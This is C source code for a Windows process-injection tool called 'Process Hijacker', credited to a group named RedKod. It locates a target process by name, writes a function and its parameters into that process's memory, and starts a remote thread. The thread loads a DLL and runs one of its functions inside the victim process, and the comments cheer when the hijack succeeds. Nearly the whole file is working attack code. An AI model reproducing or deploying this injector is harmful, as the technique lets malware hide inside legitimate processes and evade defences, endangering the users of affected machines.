/*
        ______            _  _   __            _ 
        | ___ \          | || | / /           | |
        | |_/ /  ___   __| || |/ /   ___    __| |
        |    /  / _ \ / _` ||    \  / _ \  / _` |
        | |\ \ |  __/| (_| || |\  \| (_) || (_| |
        \_| \_| \___| \__,_|\_| \_/ \___/  \__,_|
                                          
       Process Hijacker for WinNT Systems (2k, XP)

                                      RedKod Team
                                    www.redkod.com
Coder: R-e-D
Mail : r-e-d@redkod.com

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <process.h>
#include <windows.h>
#include <tlhelp32.h>

#define MAXINJECTSIZE 4096

typedef HINSTANCE (WINAPI *ptLoadLibraryA)(LPCTSTR);
typedef BOOL (WINAPI *ptFreeLibrary)(HMODULE);
typedef int (WINAPI *ptGetProcAddress)(HMODULE, LPCSTR);

typedef struct _addr_data
{
	LPVOID load_library;
	LPVOID get_address;
	char  lib_name[256];
	char  lib_function[256];
} addr_data, *paddr_data;

LPVOID DataPointer;

ptLoadLibraryA pLoadLibraryA;	
ptGetProcAddress pGetProcAddress;

DWORD GetPidByName(char *proc_name) {
	BOOL			Ret;
	DWORD			Pid=0;
	HANDLE			Snapshot;
	PROCESSENTRY32	pe;

	Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (Snapshot == (HANDLE) -1) {
		return(0);
	}

	pe.dwSize = sizeof(PROCESSENTRY32);

	Ret = Process32First(Snapshot, &pe);

	while (Ret) {
			if(strcmp(strlwr(pe.szExeFile), strlwr(proc_name)) == 0) {
				Pid = pe.th32ProcessID;
				break;
			}
		pe.dwSize = sizeof(PROCESSENTRY32);
		Ret = Process32Next(Snapshot, &pe);
	}

	CloseHandle(Snapshot);

	return(Pid);
}

int LoadPrivilege(void)
{
	  HANDLE tok;
	  LUID luid;
	  TOKEN_PRIVILEGES tp;
	  if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&tok)) {
			LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&luid);
			tp.PrivilegeCount=1;
			tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
			tp.Privileges[0].Luid=luid;
			AdjustTokenPrivileges(tok,FALSE,&tp,0,0,0);		
			LookupPrivilegeValue(NULL,SE_SECURITY_NAME,&luid);
			tp.PrivilegeCount=1;
			tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
			tp.Privileges[0].Luid=luid;
			AdjustTokenPrivileges(tok,FALSE,&tp,0,0,0);
			CloseHandle(tok);
		}
	 
  return(0);
}

typedef int (* MYPROC)(void);


DWORD __stdcall injected_fnc(void *address) 
{
	HINSTANCE hDll;
	MYPROC address1;
	paddr_data p_addr_data;
	ptLoadLibraryA pLoadLibraryA;
	ptGetProcAddress pGetProcAddress;

        /* Set the address of p_addr_data */
	p_addr_data=(paddr_data)address;

	/* Set the address of pLoadLibraryA  (import LoadLibrary function) */	
	pLoadLibraryA=(ptLoadLibraryA)(p_addr_data->load_library);
	
	/* Load dll in the remote process */
	hDll=pLoadLibraryA(p_addr_data->lib_name);

	if(hDll != 0)
	{
		/* Set the address of pGetProcAddress (import GetProcAddress function) */
		pGetProcAddress = (ptGetProcAddress)p_addr_data->get_address;

		/* Import lib_function */
		(int)address1 = (int)pGetProcAddress(hDll, p_addr_data->lib_function);
	
		if(address1 !=0)
			/* Execute the function */
			address1();
	}

	return(0);
}

int Hijack(DWORD pid, char *hLib, char *hFonction, int inject_size)
{
	HINSTANCE hDll;
	HANDLE hProc, hThread=NULL;
	DWORD thread_pid, rc;
	BOOL result = 0;
	addr_data param;
	void *CodePointer;
	
	/* Load the kernel32.dll */
	hDll=LoadLibrary("kernel32.dll");

	/* Clean the structure */
	memset(param.lib_name, 0x00, 256);
	memset(param.lib_function, 0x00, 256);

    /* Set parameters of the addr_data structure */
	param.load_library = GetProcAddress(hDll, "LoadLibraryA");
	param.get_address  = GetProcAddress(hDll, "GetProcAddress");

	strncpy(param.lib_name, hLib, 256);
	strncpy(param.lib_function, hFonction, 256);
	
	/* Open the remote process */
	hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if(hProc == NULL) {
		fprintf(stderr, "Error: OpenProcess() : %d\n", GetLastError());
		return(-1);
	}

	fprintf(stdout, "1. Process %lu opened.\n", pid);

	/* Allocate memory for the code */
	CodePointer = VirtualAllocEx(hProc, 0, inject_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if(CodePointer == NULL) {
		fprintf(stderr, "Error: VirtualAllocEx() : %d\n", GetLastError());
		goto clean;
	}
	
	fprintf(stdout, "2. Memory allocated for the code.\n");

	/* Allocate memory for all data */
	DataPointer = VirtualAllocEx(hProc, 0, sizeof(addr_data), MEM_COMMIT, PAGE_READWRITE);
	if (DataPointer == 0) {
		fprintf(stderr, "Error: VirtualAllocEx() : %d\n", GetLastError());
		goto clean;
	} 
		
	fprintf(stdout, "3. memory allocated for data.\n");

	/* copy function there, we will execute this piece of code */
	result = WriteProcessMemory(hProc, CodePointer, &injected_fnc, MAXINJECTSIZE, 0);
	if (result == 0) {
		fprintf(stderr, "Error: WriteProcessMemory() : %d\n", GetLastError());
		goto clean;
	}
	fprintf(stdout, "4. Thread injected in memory.\n");


	/* copy data in the remote process */
	result = WriteProcessMemory(hProc, DataPointer, &param, sizeof(addr_data),	0);
	if (result == 0) {
		fprintf(stderr, "Error: WriteProcessMemory() : %d\n", GetLastError());
		goto clean;
	} 
	fprintf(stdout, "5. Data copied to the Process memory.\n");

    /* Create the remote thread */
	hThread = CreateRemoteThread(hProc,  NULL,  0, (DWORD (__stdcall *)( void *)) CodePointer, DataPointer, 0, &thread_pid);
	if (hThread == NULL) {
		fprintf(stdout, "Error: CreateRemoteThread() : %d\n", GetLastError());
		goto clean;
	} 

	fprintf(stdout, "6. Thread has now pid %lu.\n", thread_pid);

	/* wait 4 seconds */
	rc = WaitForSingleObject(hThread, 4000); 

	switch (rc) 
	{
	case WAIT_TIMEOUT:
		fprintf(stderr, "Error: WAIT_TIMEOUT : %d\n", GetLastError());
		goto clean;
	case WAIT_FAILED:
		fprintf(stderr, "Error: WAIT_FAILED : %d\n", GetLastError());
		goto clean;
	case WAIT_OBJECT_0:
		/* Yeah :) */
		fprintf(stdout, "7. Thread sucessfully executed.\n");
		break;
	default:
		printf("HuHu?\n");
		break;
	}

	/* w0000 */
	fprintf(stdout, "[*] The process as been hijacked yeah. :)\n");


clean:
	CloseHandle(hThread);

	if (CodePointer != 0)
		VirtualFreeEx(hProc, CodePointer, 0, MEM_RELEASE);
		VirtualFreeEx(hProc, DataPointer, 0, MEM_RELEASE);

	return(0);
}



int main(int argc, char **argv)
{
	DWORD pid;

	/* Check argv */
	if(argc < 2) {
		fprintf(stdout, "Usage : %s <process name>\n", argv[0]);
		return(-1);
	}

	/* Load the debug privilege */
	LoadPrivilege();

	/* Find the pid of the process */
	pid = GetPidByName(argv[1]);
	if(pid == 0) {
		fprintf(stderr, "Error: %s is not launched\n", argv[1]);
		return(-1);
	}

	/* Now Hijack THE process :) */
	Hijack(pid, "InjectDll.dll", "?fnInjectDll@@YAHXZ", MAXINJECTSIZE);

	return(0);
}
